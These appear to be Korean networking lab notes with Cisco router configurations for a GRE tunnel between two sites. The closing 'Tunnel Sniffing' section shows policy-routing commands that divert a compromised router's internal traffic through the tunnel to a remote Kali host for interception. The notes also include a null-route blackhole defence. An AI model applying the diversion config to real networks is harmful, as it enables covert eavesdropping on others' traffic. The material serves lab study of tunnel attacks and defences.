GRE Tunneling
## 본사의 라우터 R1과 지사의 라우터 R5를 GRE 프로토콜로 Tunneling 하시오. ##
## R1 ##
conf t
int fa 0/0
ip addr 10.10.10.254 255.255.255.0
no shut
ip nat inside
ex
int fa 1/0
ip addr 10.10.20.254 255.255.255.0
no shut
ip nat inside
ex
int fa 0/1
ip addr 62.62.14.1 255.255.255.0
no shut
ip nat outside
ex
access-list 1 permit 10.10.10.0 0.0.0.255
access-list 1 permit 10.10.20.0 0.0.0.255
ip nat inside source list 1 int fa 0/1 overload
ip route 0.0.0.0 0.0.0.0 62.62.14.4
int tunnel 1
tunnel mode gre ip
tunnel source fa 0/1
tunnel destination 62.62.56.6
ip addr 192.168.1.1 255.255.255.0
no shut
ex
## R6 ##
conf t
int fa 0/1
ip addr 172.16.10.254 255.255.255.0
no shut
ip nat inside
ex
int fa 0/0
ip addr 62.62.56.6 255.255.255.0
no shut
ip nat outside
ex
access-list 1 permit 172.16.10.0 0.0.0.255
ip nat inside source list 1 int fa 0/0 overload
ip route 0.0.0.0 0.0.0.0 62.62.56.5
int tunnel 1
tunnel mode gre ip
tunnel source fa 0/0
tunnel destination 62.62.14.1
ip addr 192.168.1.2 255.255.255.0
no shut
ex
## R7 ##
conf t
int fa 0/1
ip addr 192.168.10.254 255.255.255.0
no shut
ip nat inside
ex
int fa 0/0
ip addr 62.62.27.7 255.255.255.0
no shut
ip nat outside
ex
access-list 1 permit 192.168.10.0 0.0.0.255
ip nat inside source list 1 int fa 0/0 overload
ip route 0.0.0.0 0.0.0.0 62.62.27.2
## R4 ##
conf t
int fa 0/0
ip addr 62.62.14.4 255.255.255.0
no shut
ex
int fa 0/1
ip addr 62.62.42.4 255.255.255.0
no shut
ex
int fa 1/0
ip addr 62.62.43.4 255.255.255.0
no shut
ex
router ospf 1
network 62.62.14.0 0.0.0.255 area 0
network 62.62.42.0 0.0.0.255 area 0
network 62.62.43.0 0.0.0.255 area 0
ex
## R3 ##
conf t
int fa 0/1
ip addr 62.62.43.3 255.255.255.0
no shut
ex
int fa 0/0
ip addr 62.62.35.3 255.255.255.0
no shut
ex
router ospf 1
network 62.62.43.0 0.0.0.255 area 0
network 62.62.35.0 0.0.0.255 area 0
ex
## R5 ##
conf t
int fa 0/0
ip addr 62.62.25.5 255.255.255.0
no shut
ex
int fa 0/1
ip addr 62.62.35.5 255.255.255.0
no shut
ex
int fa 1/0
ip addr 62.62.56.5 255.255.255.0
no shut
ex
router ospf 1
network 62.62.25.0 0.0.0.255 area 0
network 62.62.35.0 0.0.0.255 area 0
network 62.62.56.0 0.0.0.255 area 0
ex
## R2 ##
conf t
int fa 0/0
ip addr 62.62.42.2 255.255.255.0
no shut
ex
int fa 0/1
ip addr 62.62.27.2 255.255.255.0
no shut
ex
int fa 1/0
ip addr 62.62.25.2 255.255.255.0
no shut
ex
router ospf 1
network 62.62.42.0 0.0.0.255 area 0
network 62.62.27.0 0.0.0.255 area 0
network 62.62.25.0 0.0.0.255 area 0
ex
## Tunnel Sniffing ##
# R1이 해킹당햇다 가정시
## R1 ##
access-list 100 permit ip 10.10.10.0 0.0.0.255 10.10.20.0 0.0.0.255
access-list 100 permit ip 10.10.20.0 0.0.0.255 10.10.10.0 0.0.0.255
route-map victom_to_kali permit
match ip address 100
set ip next-hop 192.168.1.2
exit
int fa 0/0
ip policy route-map victom_to_kali
ex
int fa 1/0
ip policy route-map victom_to_kali
ex
## R6 ##
access-list 100 permit ip 10.10.10.0 0.0.0.255 10.10.20.0 0.0.0.255
access-list 110 permit ip 10.10.20.0 0.0.0.255 10.10.10.0 0.0.0.255
route-map victom_to_kali permit
match ip address 100 110
set ip next-hop 172.16.10.234
exit
int tunnel 1
ip policy route-map victom_to_kali
ex
** NULL Routing => BlackHole Filtering
ip route 8.8.8.0 255.255.255.0 null0 => 공격으로 추정되는 패킷을 null장비로 보내어 차단
++ 외부 GRE Sniffing ++
- R1이 해킹당하여 10.10.10.1 에서보낸 DNS query가 kali를 거쳐 nat를 통해 DNS로 가서 응답을 받아온 후 다시 10.10.10.1에게 응답하는 방식